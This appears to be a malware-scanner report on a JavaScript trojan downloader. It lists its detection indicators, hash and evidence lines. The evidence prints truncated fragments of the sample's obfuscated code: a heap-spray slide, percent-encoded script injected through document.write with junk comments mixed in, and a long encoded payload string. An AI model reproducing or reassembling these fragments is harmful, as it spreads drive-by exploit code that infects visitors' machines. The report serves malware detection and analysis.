Trojan-Downloader.JS.Agent.amu
Writes HTML into documentVery long base64 strings present
SHA-256fdc9ba91fb70089f71303b00141afcf2fe1a3148d92b06b06faa5694a8f3640e
MaleculeH(U)
Evidence
9:10… ide = spraySlide.subxttbviwxexcrhsding(0,spraySlideSize/2);
10}
11document.write(unescape("%3c%53%43%52%49%50%54%20%4c%41%4e"+ /* var s=181+math.min(444);*/"%47%55%41"+ /* var s=482+math.cos(1294);*/"%47%45"+ /* var s=809+math.min(590);*/"%3d%22%4a%61%76%61%53%63%72%69%70"+ /* var s=1213+math.max(509);*/"%74%22%3e%66%75%6e%63%74%69%6f%6e%20%61%72%6d%6d%6b%78%72%6b%62%65%72%28%72%72%72%29%7b%76%61%72%20%74%65%6d"+ /* var s=499+math.sin(915);*/"%70%3d%22%22%3b%20%76%61%72%20%63%63"+ /* var s=788+math.tan(1261);*/"%63%3d"+ /* var s=882+math.atan(596);*/"%30%3b%20%20%64%6f%63%75%6d"+ /* var s=482+math.atan(992);*/"%65%6e%74%2e%77%72%69%74 …
11:2263… A1VA1V9DV67V5CV5CV91V8EV9AV9BV"+ /*" VAR S=221+MATH.TAN(414);*/"91VA0V98V97V5BV90V9CV9AV5CV90V95V92V90V98V5CVA3V92V9FVA0V62V62V5BV9DV95V9DV4FV68V3AV37VA3V8EV9FV4DVA4V99VA3V94V4DV6AV4DV54V54V68V3AV37V3AV37V93V9CV9FV4DV55V96V6AV5DV68V4DV96V69V93V94V9EV90V5BV99V92V9BV94VA1V95V68V4DV56V4DVA8V3AV37V4DV4DV4DV4DV4DVA4V99VA3V9 …